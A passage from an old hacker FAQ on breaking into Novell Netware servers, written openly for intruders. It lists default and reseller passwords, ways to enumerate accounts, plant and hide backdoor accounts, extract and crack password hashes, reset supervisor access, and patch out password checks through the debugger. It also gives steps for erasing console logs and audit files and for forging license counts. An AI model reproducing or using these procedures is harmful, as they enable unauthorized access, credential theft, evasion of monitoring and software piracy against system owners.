          CHEY_ARCHSVR    An account for Arcserve to login to the server from
                          from the console for tape backup. Version 5.01g's
                          password was WONDERLAND. Delete the Station
                          Restrictions and use SUPER.EXE to toggle this
                          account and you have an excellent backdoor.
          WINDOWS_PASSTHRU Although not required, per the Microsoft Win95
                          Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you
                          need this for resource sharing without a password.
          ROOT            Found on Shiva LanRovers, gets you the command-line
                          equiv of the AdminGUI. By default, no password. A lot
                          admins just use the AdminGUI and never set up a
                          password.



  VARs (Value Added Resellers) repackage Netware with their own hardware
  or with custom software. Here is a short list of known passwords:


          VAR      Account     Password  Purpose
          -------  ----------  --------  -------------------------------------------
          STIN     SUPERVISOR  SYSTEM    Travel agency running SABRE
          STIN     SABRE       -none-    Like a guest account
          STIN     WINSABRE    WINSABRE  Windows guest account for NW 2.15c
          STIN     WINSABRE    SABRE     Windows guest account for NW 3.x
          HARRIS   SUPERVISOR  HARRIS    Tricord reseller, ships NW preinstalled
          NETFRAME SUPERVISOR  NF        Also NETFRAME and NFI
          NETFRAME             aaa       New installation default password



  This should give you an idea of accounts to try if you have access to
  a machine that attaches to the server. A way to "hide" yourself is to
  give GUEST or USER_TEMPLATE a password. Occassionally admins will
  check up on GUEST, but most forget about USER_TEMPLATE. In fact, _I
  forgot about USER_TEMPLATE until itsme reminded me.

  This list is also a good starting point for account names for
  "backdoors". In some environments these account names will be left
  alone, particularly in large companies, especially Netware 4.x sites
  with huge trees. And don't forget account names like Alt-255 or NOT-
  LOGGED-IN.


  1166..22..  HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess oonn NNeettwwaarree??


  Any limited account should have enough access to allow you to run
  SYSCON, located in the SYS:PUBLIC directory. If you get in, type
  SYSCON and enter. Now go to User Information and you will see a list
  of all defined accounts. You will not get much info with a limited
  account, but you can get the account and the user's full name.

  If your in with any valid account, you can run USERLST.EXE and get a
  list of all valid account names on the server.

  If you don't have access (maybe the sys admin deleted the GUEST
  account, a fairly common practice), you can't just try any account
  name at the LOGIN prompt. It will ask you for a password whether the
  account name is valid or not, and if it is valid and you guees the
  wrong password, you could be letting the world know what you're up to
  if Intruder Detection is on. But there is a way to determine if an
  account is valid.

  From a DOS prompt use a local copy (on your handy floppy you carry
  everywhere) of MAP.EXE. After you've loaded the Netware TSRs up
  through NETX or VLM, Try to map a drive using the server name and
  volume SYS:. For example:


          MAP G:=TARGET_SERVER/SYS:APPS



  Since you are not logged in, you will be prompted for a login ID. If
  it is a valid ID, you will be prompted for a password. If not, you
  will immediately receive an error. Of course, if there is no password
  for the ID you use you will be attached and mapped to the server. You
  can do the same thing with ATTACH.EXE:


          ATTACH TARGET_SERVER/loginidtotry



  The same thing will happen as the MAP command. If valid, you will be
  prompted for a password. If not, you get an error.

  Another program to check for valid users and the presence of a
  password is CHKNULL.EXE by itsme. This program checks for users and
  whether they have a password assigned.

  In 4.1 CHKNULL shows you every account with no password and you do not
  have to be logged in. For this to work bindery emulation must be on.
  But there is another way to get them in 4.1:

  Once you load up the VLMs you may be able to view the entire tree, or
  at least all of the tree you could see if logged in. Try this:


          CX /T /A /R





  During the installation of 4.1, [Public] has browse access to the
  entire tree because [Public] is added to [Root] as a Trustee. The
  Inherited Rights Filter flows this stuff down unless explicitly
  blocked. If you have the VLMs loaded and access to CX, you don't even
  have to log in, and you can get the name of virtually every account on
  the server.

  If CX /T /A /R works, then NLIST USER /D will yield a massive amount
  of information, including who belongs to what groups, and their object
  ID. By combining the information between these two along with other
  NLIST options, you can learn a lot about an NDS tree and a server.
  Here a few more that come in handy:


          NLIST GROUPS /D       -List of groups, descriptions, and members.
          NLIST SERVER /D       -List of servers, versions, if attached you can determine if accounting is installed.
          NLIST /OT=* /DYN /D   -List of all readable objects, including dynamic objects, names of NDS trees, etc.



  Between using CHKNULL, CX, and NLIST an intruder could not only learn
  who is in what group and who has access to what, but certainly could
  learn who the administrators are, and specifically select accounts for
  attack.

  Finally, consider using the Intruder utility from NMRC's Pandora v3.0.
  This utility has a mode that allows you to give it a list of potential
  account names, and it will tell you if they are valid and even if they
  have no password. See http://www.nmrc.org/pandora/index.html
  <http://www.nmrc.org/pandora/index.html> for details.



  1177..  NNeettwwaarree PPaasssswwoorrddss

  This section deals with Netware passwords.


  1177..11..  HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn NNeettwwaarree??

  Contrary to not-so-popular belief, access to the password file in
  Netware is not like Unix - the password file isn't in the open. All
  objects and their properties are kept in the bindery files on 2.x and
  3.x, and kept in the NDS database in 4.x. An example of an object
  might be a printer, a group, an individual's account etc. An example
  of an object's properties might include an account's password or full
  user name, or a group's member list or full name. The bindery files
  attributes (or flags) in 2.x and 3.x are Hidden and System, and these
  files are located on the SYS: volume in the SYSTEM subdirectory. Their
  names are as follows:


          Netware version         File Names
          ---------------         ----------
          2.x                     NET$BIND.SYS, NET$BVAL.SYS
          3.x                     NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS



  The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually
  located in 2.x and 3.x respectively.

  In Netware 4.x, the files are located in a different location on the
  SYS: volume. It is a hidden directory called _NETWARE. In this
  directory are located the NDS files, license files, and a number of
  other system-related files such as login scripts and auditing files.




          File                    What it is
          --------------          --------------------------
          VALUE.NDS               Object and property values
          BLOCK.NDS               Extended property values
          ENTRY.NDS               Object and property types
          PARTITIO.NDS            NDS partition info (replication info, etc.)
          MLS.000                 License file.
          VALINCEN.DAT            License validation



  To view the hidden SYS:_NETWARE directory, you can try to use RCONSOLE
  and the Scan Directory option, although later versions of Netware 4.x
  have patched this (starting with 410pt3). Here is another way to view
  these files, and potentially edit them. After installing NW4 on a NW3
  volume, reboot the server with a 3.x SERVER.EXE. On volume SYS will be
  the _NETWARE directory. SYS:_NETWARE is hidden better on 4.1 than
  4.0x, but in pre-410pt3 patched 4.1 you can still see the files by
  scanning directory entry numbers using NCP calls (you need the APIs
  for this) using function 0x17 subfunction 0xF3.

  Using JCMD.NLM, it is possible to access SYS:_NETWARE, and do many fun
  things, like copy NDS, etc. But what hackers have asked for is a way
  to access this directory WITHOUT uploading an NLM via RCONSOLE. You
  can try using NETBASIC.NLM (see the Netware Console Attacks section
  for details), and actually copy NDS files to a directory you can
  access (like SYS:PUBLIC).


  1177..22..  WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh NNeettwwaarree ppaasssswwoorrddss??

  A Novell proprietary algorithm takes the password, and produces a 16
  byte hash. This algorithm is the same for versions 3.x and 4.x of
  Netware. The algorithm is also inside the LOGIN.EXE file used by the
  client when logging in. The details of the algorithm itself can be
  found in the CRYPT.TXT file included with Pandora (see
  http://www.nmrc.org/pandora/index.html
  <http://www.nmrc.org/pandora/index.html> for details).

  The 16 byte hash is stored within the bindery files in Netware 3.x and
  NDS in Netware 4.x. Since the object ID is used in the algorithm, it
  adds the equivalent of a ``salt''. This along with the fact that the
  password length plays into the algorithm increases the overhead in
  cracking multiple passwords at once.  Fortunately for the cracker,
  both the object ID and the password length are stored with the hash,
  along with that fact that lower case letters are converted to upper
  case before generating the hash does simplify the process slightly.
  Password crackers can brute force a little easier since they can
  eliminate trying lower case letters and concentrate on a particular
  password length.


  1177..33..  HHooww ddooeess ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNeettwwaarree??

  Because of the complexity of the algorithm, using it the way it was
  designed is somewhat slow for cracking, especially by brute force.
  However the algorithm can be mathematically improved, and in fact WAS
  improved and optimized just for cracking purposes. See Jitsu-Disk's
  document CRYPT.TXT <http://www.nmrc.org/pandora/CRYPT.TXT> that was
  included with Pandora <http://www.nmrc.org/pandora/index.html> that
  details this. The algorithm is dozens of times faster than Novell's
  original code. However brute force is slow work with Netware, so only
  use it as a last resort, especially if you have a LOT of time.

  This is especially true with regards to the brute force crackers that
  attack from the client. Since you are dealing with the network itself,
  expect AT BEST about a password attempt a second from most network
  cracking utilities.


  1177..44..  HHooww ddooeess ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNeettwwaarree??

  With Pandora v3.0 you have the fastest dictionary cracking available.
  And if you must attack from a client, make sure if you are using a
  cracker that you are using dictionary attacking.

  For Netware 3.x systems, consider using Al Grant's Bindery tool.


  1177..55..  CCaann aann SSyyss AAddmmiinn pprreevveenntt//ssttoopp NNeettwwaarree ppaasssswwoorrdd hhaasshh eexxttrraaccttiioonn??

  The best way for a Sys Admin to prevent Netware password hash
  extraction is to at least try the following:


  +o  Protect the server console. If the console is compromised, all bets
     are off. Don't use RCONSOLE at all. Go to the console to do any
     administrator-type work.

  +o  Protect administrative accounts. If one of these accounts are
     compromised, once again all bets are off. Use these accounts
     minimally from secured workstations.

  +o  Clean up after yourself. If you run a BINDFIX, DSMAINT, or
     DSREPAIR, remember that you are leaving files out there that
     passwords can be recovered from. Do your business, confirm you
     don't have to fall back using one of these leftover files and then
     delete and purge them.

  You see, once the server has been compromised, sometimes not even
  completely, there will be NOTHING to stop unwanted password recovery.
  Hackers, just do the opposite of the above items and you'll be fine
  ;-)


  1177..66..  CCaann II rreesseett aann NNDDSS ppaasssswwoorrdd wwiitthh jjuusstt lliimmiitteedd rriigghhttss??

  There is a freeware utility called N4PASS, that is meant for Netware
  4.10 (uses NDS calls and is not bindery based). The intention of this
  package is to enable a Help Desk to reset passwords for users without
  granting them tons of rights. It uses full logging and does not
  require massive ACL manipulation to do it.

  Obviously being set up to use this utility opens a few doors. The
  filename is N4PA12.EXE, and can be retrieved from the author's web
  site at http://fastlane.net/homepages/dcollins and the author can be
  reached at [e-mail].

  A couple of interesting things about this utility -- if configured
  incorrectly the server may be compromised in a number of ways. For
  instance, the password generated is a calculation that uses a 'temp
  filename', the date, the user's loginname, helpdesk login name, seed
  value, and a few other items.  (its in the n4pass.txt file)

  N4PASS is not set to purge immediately, the file is salvagable. Also,
  if the rights to the N4PASS directory are too open, you can discover
  the default password, among other things. The text file included with
  the utility covers this, so read it carefully if you are installing
  it. If you are hacking, read it carefully too ;-)

  It is critical that access to the sys:\n4pass\password is secure since
  any 'temp file' (.1st extension) can cause the 'password reset' for
  the person listed in the 'temp file'.


  1177..77..  WWhhaatt iiss OOSS22NNTT..NNLLMM??

  OS2NT.NLM is a Novell-supplied NLM for recovering/fixing Admin, like
  after it becomes an Unknown object, as opposed to User -- especially
  after a DSREPAIR. This module is considered a "last resort" NLM and
  you must contact Novell to use it. While I haven't seen it, it is
  supposed to be on one of Novell's FTP sites. It supposedly is
  customized by Novell to work with your serial number and is a one-time
  use NLM. You have to prove to Novell who you are and that your copy of
  Netware is registered.

  I would suspected it is possible that this NLM could be hacked to get
  around the one-time use and serial number/password thing, but a
  restore of NDS from a good backup would accomplish things better. This
  way is a little destructive.


  1177..88..  HHooww ddooeess ppaasssswwoorrdd eennccrryyppttiioonn wwoorrkk??

  From itsme -


  the password encryption works as follows:
   1- the workstation requests a session key from the server
       (NCP-17-17)
   2- the server sends a unique 8 byte key to the workstation

   3- the workstation encrypts the password with the userid,
       - this 16 byte value is what is stored in the bindery on the server

   4- the WS then encrypts this 16 byte value with the 8 byte session key
      resulting in 8 bytes, which it sends to the server
       (NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw)

   5- the server performs the same encryption, and compares its own result
      with that sent by the WS

  -> the information contained in the net$*.old files which can be found
     in the system directory after bindfix was run, is enough to login
     to the server as any object. just skip step 3




  1177..99..  CCaann II llooggiinn wwiitthhoouutt aa ppaasssswwoorrdd??

  If you have acquired the one-way hash from Bindery or NDS files, you
  have enough info to login without password, as stated by Itsme in the
  previous section. Pandora v3.0 includes tools for accomplishing this
  -- see http://www.nmrc.org/pandora/index.html
  <http://www.nmrc.org/pandora/index.html> for details.


  1177..1100..  WWhhaatt''ss wwiitthh WWiinnddoowwss 9955 aanndd NNeettwwaarree ppaasssswwoorrddss??

  Windows 95 has its own password file, and uses this file to store
  passwords to Windows 95 itself as well as Netware and NT servers. The
  problem here is that the PWL file is easily cracked by brute force, by
  using exploit code readily available on the Internet. To keep this
  from happening either Service Pack 1 should be applied (see Microsoft)
  or disable password caching.


  But you can still access the WIN386.SWP file. Either using a disk
  utility like DiskEdit from Norton or by booting from DOS, you can
  access the swap file and scan it for the password in plaintext. Look
  for a string like nwcs and the password will follow that.



  1188..  NNeettwwaarree CCoonnssoollee AAttttaacckkss

  This section deals with attacking at the Netware Console.


  1188..11..  WWhhaatt''ss tthhee ""sseeccrreett"" wwaayy ttoo ggeett SSuuppee aacccceessss NNoovveellll oonnccee ttaauugghhtt
  CCNNEE''ss??

  Before I start this section, let me recommend another solution, my
  God, ANY other solution is better than this!  If you are running 3.x,
  jump to the end of this section.

  The secret method is the method of using a DOS-based sector editor to
  edit the entry in the FAT, and reset the bindery to default upon
  server reboot. This gives you Supervisor and Guest with no passwords.
  The method was taught in case you lost Supervisor on a Netware 2.15
  server and you had no supe equivalent accounts created. It also saves
  the server from a wipe and reboot in case the Supervisor account is
  corrupt, deleted, or trashed.

  While you get a variety of answers from Novell about this technique,
  from it doesn't work to it is technically impossible, truth be it it
  can be done. Here are the steps, as quoted from
  comp.os.netware.security, with my comments in [brackets]:

  [start of quote] A Netware Server is supposed to be a very safe place
  to keep your files. Only people with the right password will have
  access to the data stored there. The Supervisor (or Admin) user's
  password is usually the most well kept secret in the company, since
  anyone that has that code could simply log to the server and do
  anything he/she wants.

  But what happens if this password is lost and there's no user that is
  security-equivalent to the supervisor? [Use SETPWD.NLM, instead of
  this process, see section 02-5 - S.N.] What happens if the password
  system is somehow damaged and no one can log to the network? According
  to the manual, there's simply no way out. You would have to reinstall
  the server and try to find your most recent backup.

  Fortunately, there is a very interesting way to gain complete access
  to a Netware server without knowing the Supervisor's (or Admin's)
  password. You may imagine that you would have to learn complex
  decryption techniques or even type in a long C program, but that's not
  the case. The trick is so simple and generic that it will work the
  same way for Netware 2.x, 3.x and 4.x.

  The idea is to fool Netware to think that you have just installed the
  server and that no security system has been estabilished yet. Just
  after a Netware 2.x or 3.x server is installed, the Supervisor's
  password is null and you can log in with no restriction. Netware 4.x
  works slightly differently, but it also allows anyone to log in after
  the initial installation, since the installer is asked to enter a
  password for the Admin user.

  But how can you make the server think it has just been installed
  without actually reinstalling the server and losing all data on the
  disk? Simple. You just delete the files that contain the security
  system. In Netware 2.x, all security information is stored in two
  files (NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that
  information in three files (NET$OBJ.SYS, NET$VAL.SYS and
  NET$PROP.SYS). The all new Netware 4.x system stores all login names
  and passwords in five different files (PARTITIO.NDS, BLOCK.NDS,
  ENTRY.NDS, VALUE.NDS and UNINSTAL.NDS [This last file may not be
  there, don't worry - S.N.]).

  One last question remains. How can we delete these files if we don't
  have access to the network, anyway? The answer is, again, simple.
  Altough the people from Novell did a very good job encrypting
  passwords, they let all directory information easy to find and change
  if you can access the server's disk directly, using common utilities
  like Norton's Disk Edit. Using this utility as an example, I'll give a
  step-by-step procedure to make these files vanish. All you need is a
  bootable DOS disk, Norton Utilities' Emergency Disk containing the
  DiskEdit program and some time near the server.

  1. Boot the server and go to the DOS prompt. To do this, just let the
  network boot normally and then use the DOWN and EXIT commands. This
  procedure does not work on old Netware 2.x servers and in some
  installations where DOS has been removed from memory. In those cases,
  you'll have to use a DOS bootable disk.

  2. Run Norton's DiskEdit utility from drive A:

  3. Select "Tools" in the main menu and then select "Configuration". At
  the configuration window, uncheck the "Read-Only" checkbox. And be
  very careful with everything you type after this point.

  4. Select "Object" and then "Drive". At the window, select the C:
  drive and make sure you check the button "physical drive". After that,
  you'll be looking at your physical disk and you be able to see (and
  change) everything on it.

  5. Select "Tools" and then "Find". Here, you'll enter the name of the
  file you are trying to find. Use "NET$BIND" for Netware 2,
  "NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is
  possible that you find these strings in a place that is not the
  Netware directory. If the file names are not all near each other and
  proportionaly separated by some unreadable codes (at least 32 bytes
  between them), then you it's not the place we are looking for. In that
  case, you'll have to keep searching by selecting "Tools" and then
  "Find again". [In Netware 3.x, you can change all occurences of the
  bindery files and it should still work okay, I've done it before. -
  S.N.]

  6. You found the directory and you are ready to change it. Instead of
  deleting the files, you'll be renaming them.  This will avoid problems
  with the directory structure (like lost FAT chains). Just type "OLD"
  over the existing "SYS" or "NDS" extension. Be extremely careful and
  don't change anything else.

  7. Select "Tools" and then "Find again". Since Netware store the
  directory information in two different places, you have to find the
  other copy and change it the same way. This will again prevent
  directory structure problems.

  8. Exit Norton Disk Edit and boot the server again. If you're running
  Netware 2 or 3, your server would be already accessible. Just go to
  any station and log in as user Supervisor. No password will be asked.
  If you're running Netware 4, there is one last step.

  9. Load Netware 4 install utility (just type LOAD INSTALL at the
  console prompt) and select the options to install the Directory
  Services. You be prompted for the Admin password while doing this.
  After that, you may go to any station and log in as user Admin, using
  the password that you have selected.
  What I did with Norton's Disk Edit could be done with any disk editing
  utility with a "Search" feature. This trick has helped me save many
  network supervisors in the last years. I would just like to remind you
  that no one should break into a netware server unless authorized to do
  it by the company that owns the server. But you problably know that
  already. [end of quote]

  I actually had this typed up but kept changing it, so I stole this
  quote from the newsgroup to save me retyping ;-)

  Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the
  bindery and downs the server. Reboot and you have Supe and Guest, no
  password.


  1188..22..  HHooww ddoo II uussee SSEETTPPWWDD..NNLLMM??

  You can load SETPWD at the console or via RCONSOLE. If you use
  RCONSOLE, use the Transfer Files To Server option and put the file in
  SYS:SYSTEM.

  For 3.x: LOAD [path if not in SYS:SYSTEM]SETPWD [username]
  [newpassword]

  For 4.x: set bindery context = [context, e.g. hack.corp.us] LOAD [path
  if not in SYS:SYSTEM]SETPWD [username] [newpassword]

  In 4.x the change is replicated so you have access to all the other
  servers in the tree. And don't forget, you must follow the password
  requirements for this to work -- if the account you are changing
  normally requires a 6 character password, then you'll need to supply a
  6 character password.


  1188..33..  II ddoonn''tt hhaavvee SSEETTPPWWDD..NNLLMM oorr aa ddiisskk eeddiittoorr.. HHooww ccaann II ggeett SSuuppee
  aacccceessss??

  If you have two volumes or some unallocated disk space you can use
  this hack to get Supe. Of course you need physical access but it
  works. I got this from a post in comp.os.security.netware


    - Dismount all volumes
    - Rename SYS: to SYSOLD:
    - Rename VOL1: (or what ever) to SYS: or create new SYS: on new disk
    - Reboot server
    - Mount SYS: and SYSOLD:
    - Attach to server as Supervisor (Note: login not available)
    - Rename SYSOLD:SYSTEM\NET$***.SYS to NET$****.OLD
    - Dismount volumes
    - Rename volume back to correct names
    - Reboot server
    - Login as Supervisor, no password due to new bindery
    - Run BINDREST
    - You are currently logged in as Supe, you can create a new user as
      Supe equiv and use this new user to reset Supe's password, whatever.




  1188..44..  WWhhaatt''ss tthhee ""ddeebbuugg"" wwaayy ttoo ddiissaabbllee ppaasssswwoorrddss??

  You must be at the console to do this:



  /left-shift//right-shift//alt//esc/          Enters Debugger
  type "d VerifyPassword 6"    Write down 6 byte response for later use
  type "c Verifypassword=B8 0 0 0 0 C3"    Sets system to turn off pword checks
  type "g"    To make the system change and drop you back into the console



  to turn password checking back on...


  /left-shift//right-shift//alt//esc/          Enters Debugger
  type "c VerifyPassword= xx xx xx xx xx xx"   Where xx's are the previous
  recorded numbers that where written down.
  type "g"   To make system changes and drop you back to into the console



  Teiwaz updated these steps to make things easier and workable. And one
  other note -- this will NOT disable password checking in 4.x.
  Sorry....


  1188..55..  HHooww ddoo II ddeeffeeaatt ccoonnssoollee llooggggiinngg??

  Here you need console and Supervisor access. The site is running 3.11
  or higher and running the CONLOG.NLM. Any site running this is
  trapping all console messages to a file. If you run SETPWD at the
  console, the response by SETPWD is written to a log file. Here's the
  steps for determining if it is running and what to do to defeat it:


  +o  Type MODULES at the console. Look for the CONLOG.NLM. If it's
     there, it's running.

  +o  Look on the server in SYS:ETC for a file called CONSOLE.LOG. This
     is a plain text file that you can type out. However you cannot
     delete or edit it while CONLOG is running.

  +o  Unload CONLOG at the console.

  +o  Delete, or even better yet, edit the CONSOLE.LOG file, erasing your
     tracks.

  +o  Reload CONLOG. It will show that is has been restarted in the log.

  +o  Check the CONSOLE.LOG file to ensure the owner has not changed.

  +o  Run PURGE in the SYS:ETC directory to purge old versions of
     CONSOLE.LOG that your editor have left to be salvaged.


  1188..66..  CCaann II sseett tthhee RRCCOONNSSOOLLEE ppaasssswwoorrdd ttoo wwoorrkk ffoorr jjuusstt SSuuppeerrvviissoorr??

  Yes and no. In version 3.x, the Supe password always works.

  A common mistake regarding 3.x RCONSOLE passwords is to use a switch
  to use only the Supervisor password. It works like this:


  LOAD REMOTE /P=



  instead of


  LOAD REMOTE RCONPASSWORD



  The admin believes /P= turns off everything except the Supe password
  for RCONSOLE. In fact the password is just set to /P= which will get
  you in!  The second most common mistake is using -S, and the third is
  "".

  Version 4.1 is a bit different. Here's how it works:


  +o  At the console prompt, type LOAD REMOTE SECRET where SECRET is the
     Remote Console password.

  +o  Now type REMOTE ENCRYPT. You will be prompted for a password to
     encrypt.

  +o  This will give you the encrypted version of the password, and give
     you the option of writing LDREMOTE.NCF to the SYS:SYSTEM directory,
     containing all the entries for loading Remote Console support.

  +o  You can call LDREMOTE from your AUTOEXEC.NCF, or you can change the
     LOAD REMOTE line in the AUTOEXEC.NCF as follows:


  LOAD REMOTE SECRET



  becomes


  LOAD REMOTE -E 870B7E366363



  Another note - to ensure that Supervisor's password will work with
  RCONSOLE (Netware 4.02 or higher), add the hidden -US switch:


  LOAD REMOTE -E 870B7E366363 -US



  Another undocumented switch is -NP which is No Password!


  1188..77..  HHooww ccaann II ggeett aarroouunndd aa lloocckkeedd MMOONNIITTOORR??

  There is a simple and easy way to do this in 3.11 if you have a print
  server running on the file server. The following exploits a bug in
  3.11:


  +o  Use pconsole to down the print server. This causes the monitor
     screen to go to the print server screen and wait for you to press
     enter to exit the screen. At the same time it puts the monitor
     screen in the background.

  +o  Switch to the console screen and type UNLOAD MONITOR.

  +o  Check the AUTOEXEC.NCF for the PSERVER.NLM load line and manually
     reload the PSERVER.NLM.


  For both Netware 3.x and 4.x, try the debug disable steps as outlined
  earlier. You can type any password in to unlock the console, besides
  disabling 3.x password protection altogether.

  For Netware 4.x, try this from the console:


  Enter the debugger and type in "g VerifyPassword".
  Then hit enter to break back to the debugger.
  That should return you to the console.
  Then type in "g [desp]" and hit enter.
  Wait a few seconds and you're back in the debugger.
  Type in "eax=0" and hit enter, and then type "g" and enter.
  The console is now unlocked.




  1188..88..  WWhheerree aarree tthhee LLooggiinn SSccrriippttss ssttoorreedd iinn NNeettwwaarree 44..xx aanndd ccaann II
  eeddiitt tthheemm??

  The Login Scripts are stored in, you guessed it, SYS:_NETWARE. Unlike
  the binary files used in NDS, these files are completely editable by
  using EDIT.NLM. Doing an RCONSOLE directory scan in SYS:_NETWARE will
  turn up files with extensions like .000, these are probably Login
  Scripts.  Pull up a few, they are plain text files. For example, you
  found 00021440.000:


        LOAD EDIT SYS:_NETWARE\00021440.000



  If it is a Login Script, you will see it in plain english and you can
  certainly edit and save it. This completely bypasses NDS security, and
  is the main weakness. You can use this to grant a user extra rights
  that can lead to a number of compromises, including full access to the
  file system of any server in the tree.


  1188..99..  WWhhaatt iiff II ccaann''tt sseeee SSYYSS::__NNEETTWWAARREE??

  Starting with Novell's 410pt3 patch you can no longer see the _NETWARE
  from RCONSOLE. This is hardly surprising as the ability to look into
  this directory has become increasingly difficult with each release of
  patches.

  With Netware 4.11 you can't see it at all with RCONSOLE. Although with
  patch level IWSP5 one is able to see SYS:_NETWARE from RCONSOLE's
  "Directory Scan" function.


  1188..1100..  SSoo hhooww ddoo II aacccceessss SSYYSS::__NNEETTWWAARREE??

  Using JCMD.NLM (see the Resources section), it is possible to access
  SYS:_NETWARE, and do many fun things, like copy NDS, etc. But what
  hackers have asked for is a way to access this directory WITHOUT
  uploading an NLM via RCONSOLE. So here it is.

  Starting with the Green River beta software, Novell licensed
  NETBASIC.NLM (actually, everything in the SYS:NETBASIC directory) from
  HiTecSoft, Inc. HiTecSoft is really cool -- it allows some
  sophisticated apps to be developed with a Visual-Basic-type
  environment, including NLMs without using Watcom's compiler and
  linker.

  When you load up NETBASIC.NLM, you type "shell" and you get a DOS-
  styled shell. It is actually still an NLM, but the "commands" include
  DOS-like commands like cd, dir, copy, etc. So the trick is to simply
  "cd _NETWARE" and bingo -- you're in. At this point you can do all
  kinds of fun things. Remember, you can still use JCMD.NLM, but the
  point is that this is kind of "built in". Fun things to do include -


   - Make copies of any of the files, including the license(s), NDS, login
     scripts, auditing files, etc.
   - Copy these files to SYS:LOGIN and you can copy them off the server
     WITHOUT logging in.
   - Copy off the license file (MLS.000) and play around with a hex editor.
     Copy up the modified file and name it MLS.001 and you've doubled your
     license count (bear in mind this is illegal).
   - Modify login scripts for fun, profit, and gaining extra rights.
   - Poke around with auditing files, even delete NET$AUDT.CAF and files
     with an extension of .$AF in case your auditor forgot their password.



  Thanks to the members of SIC (Hardware, Cyberius, and Jungman) for
  discovering the NETBASIC hole, and pointing out all of the license
  info.


  1188..1111..  HHooww ccaann II bboooott mmyy sseerrvveerr wwiitthhoouutt rruunnnniinngg
  SSTTAARRTTUUPP..NNCCFF//AAUUTTOOEEXXEECC..NNCCFF??

  For Netware 3.xx, use these command-line options:

  SERVER -NS to skip STARTUP.NCF, and

  SERVER -NA to skip AUTOEXEC.NCF

  NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF.
  Instead they hard-code all the information into NET$OS.EXE, so you
  will have to rebuild it to change anything.


  1188..1122..  WWhhaatt eellssee ccaann bbee ddoonnee wwiitthh ccoonnssoollee aacccceessss??

  If a user in any context of a tree has Supervisor rights to a single
  server, anyone with console access to that server can gain Admin Admin
  rights. Remote servers in remote offices are likely candidates for
  this. Here's how to do this:


  +o  Attacker sets Bindery Context to match the user ID with Supervisor
     rights to the server.

  +o  Attacker sets a Bindery Context to match another user with greater
     priviledges, such as Admin.

  +o  Attacker resets password of the user ID with Supe rights to the
     server(unless the Attacker happens to BE the user with the Supe
     rights, say if the attacker is a temp contractor managing tape
     backups).

  +o  Attacker forces a bindery login to the server.

  +o  Attacker uses SYSCON to either change the password of another
     user's account with the extra priviladges or makes himself security
     equiv to a tree.


  +o  Attacker logs out and back in via regular NDS.

  To defeat this, a sys admin needs to make sure there are no replicas
  with sensative accounts on remote servers.



  1199..  NNeettwwaarree CClliieenntt AAttttaacckkss

  This section deals with attacking Netware remotely.


  1199..11..  WWhhaatt iiss tthhee cchheeeessyy wwaayy ttoo ggeett SSuuppeerrvviissoorr aacccceessss??

  The cheesy way is the way that will get you in, but it will be obvious
  to the server's admin that the server has been compromised. This
  technique works for 3.11.

  Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the
  following things. 1) The Supervisor password is changed to
  SUPER_HACKER, 2) every account on the server is made a supe
  equivalent, and 3) the sys admin is going to know very quickly
  something is wrong. What the admin will do is remove the supe rights
  from all accounts that are not supposed to have it and change the
  Supervisor password back. The only thing you can do is leave a
  backdoor for yourself (see the ``Backdoor'' section).


  1199..22..  HHooww ccaann II llooggiinn wwiitthhoouutt rruunnnniinngg tthhee SSyysstteemm LLooggiinn SSccrriipptt iinn NNeett--
  wwaarree 33..xx??

  Often an admin will try and prevent a user from getting to DOS or
  breaking out of the System Login Script to "control" the user. Here's
  to way to prevent that -


  +o  Use ATTACH instead of LOGIN to connect to a server. ATTACH will not
     run the login script, whereas LOGIN will. ATTACH.EXE will either
     have to be copied to a local HD or put in SYS:LOGIN.

  +o  Use the /s option for LOGIN. Using "LOGIN /S NUL " will cause LOGIN
     to load the DOS device NUL which will always seem like an empty
     file.


  1199..33..  HHooww ccaann II ggeett IIPP iinnffoo ffrroomm aa NNeettwwaarree sseerrvveerr rreemmootteellyy??

  There is an undocumented API call that can be done, assuming you have
  the Netware SDK.  Search through support.novell.com for a document
  called "Retrieving IP Interface Information".  This info allows you to
  retrieve IP info on a Netware server. The document details exactly how
  to make the call.


  1199..44..  DDooeess 44..xx ssttoorree tthhee LLOOGGIINN ppaasssswwoorrdd ttoo aa tteemmppoorraarryy ffiillee??

  Yes and no. No to 4.02 or higher. Here's the scoop on 4.0.

  The version of LOGIN.EXE that shipped with 4.0 had a flaw that under
  the right conditions the account and password could be written to a
  swap file created by LOGIN.EXE. Once this occured, the file could be
  unerased and the account and password retrieved in plain text.




  1199..55..  EEvveerryyoonnee ccaann mmaakkee tthheemmsseellvveess eeqquuiivvaalleenntt ttoo aannyyoonnee iinncclluuddiinngg
  AAddmmiinn.. HHooww??

  A couple of things might cause this. One, I'd check the rights for
  [PUBLIC], and secondly I'd check the USER_TEMPLATE id for excessive
  rights. The Write right to the ACL will allow you to do some
  interesting things, including making yourself Admin equivalent. For
  gaining equivalence to most anything else you need only Read and
  Compare.

  The implication should be obvious, but I'll spell it out anyway. A
  backdoor can be made if an account is set up this way. Let's say
  you've created an account called TEST that has enough rights to do
  this kind of thing. Simply go in as the TEST account, make yourself
  Admin equivalent, do your thing, remove the Admin equivalent, and get
  the hell out. Neat and sweet.


  1199..66..  CCaann WWiinnddoowwss 9955 bbyyppaassss NNeettWWaarree uusseerr sseeccuurriittyy??

  I am unsure as to the conditions (if anyone knows, please forward me
  the info) but if your .PWL file is around 900 bytes versus 600 bytes,
  your workstation will log in without prompting you for a password.
  This bug was working as of December 1995, and I would think at this
  point patched via the latest service pack.

  Two ways this can be abused -- on some systems generating the longer
  file you can simply make sure you generate a .PWL file with the target
  account name and reboot using that .PWL file.

  The other way is to simply collect the .PWL file from an unattended
  workstation and boot using it.


